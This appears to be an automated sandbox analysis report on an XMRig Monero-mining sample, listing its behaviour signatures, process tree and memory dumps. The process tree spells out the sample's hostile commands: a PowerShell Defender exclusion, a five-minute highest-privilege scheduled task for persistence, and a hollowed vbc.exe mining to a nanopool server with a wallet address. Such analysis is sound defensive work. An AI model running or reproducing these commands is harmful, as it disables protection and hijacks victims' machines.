Analysis
- max time kernel
141s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
14/01/2023, 03:59
General
- Target file.exe
- Size 926KB
- Sample230114-ej24wahf33
- SHA256 e80e15eb9d2cebb2c8c7f91a8471e1b75a9b4ee27d9de6b23cc90c57704a2651
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2132-165-0x00000155273F0000-0x0000015527430000-memory.dmp
memory/2132-168-0x0000015527430000-0x0000015527450000-memory.dmp
memory/2132-167-0x0000015527560000-0x0000015527580000-memory.dmp
memory/2132-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2132-169-0x0000015527560000-0x0000015527580000-memory.dmp
memory/2132-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2132-163-0x00000155273A0000-0x00000155273C0000-memory.dmp
memory/2132-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2132-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2132-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2132-170-0x0000015527430000-0x0000015527450000-memory.dmp
memory/2220-142-0x0000000000890000-0x00000000009E2000-memory.dmp
memory/2220-141-0x0000000000890000-0x00000000009E2000-memory.dmp
memory/2220-134-0x00007FFE4FAB0000-0x00007FFE4FB5A000-memory.dmp
memory/2220-135-0x00007FFE6BE40000-0x00007FFE6BEDE000-memory.dmp
memory/2220-151-0x0000000000890000-0x00000000009E2000-memory.dmp
memory/2220-152-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp
memory/2220-136-0x00007FFE67B70000-0x00007FFE67B82000-memory.dmp
memory/2220-146-0x00007FFE6A410000-0x00007FFE6A437000-memory.dmp
memory/2220-155-0x00007FFE4FF10000-0x00007FFE4FF45000-memory.dmp
memory/2220-156-0x00007FFE4B170000-0x00007FFE4B272000-memory.dmp
memory/2220-157-0x00007FFE6B7A0000-0x00007FFE6B80B000-memory.dmp
memory/2220-158-0x00007FFE69020000-0x00007FFE6905B000-memory.dmp
memory/2220-145-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp
memory/2220-144-0x00000000003B0000-0x00000000003F3000-memory.dmp
memory/2220-143-0x00007FFE4D7D0000-0x00007FFE4D91E000-memory.dmp
memory/2220-132-0x0000000000890000-0x00000000009E2000-memory.dmp
memory/2220-137-0x00007FFE4EF20000-0x00007FFE4EFDD000-memory.dmp
memory/2220-140-0x00007FFE6B430000-0x00007FFE6B45B000-memory.dmp
memory/2220-139-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp
memory/2220-138-0x00007FFE6B910000-0x00007FFE6BAB1000-memory.dmp
memory/4328-148-0x00000197F6500000-0x00000197F6522000-memory.dmp
memory/4328-150-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp
memory/4328-149-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp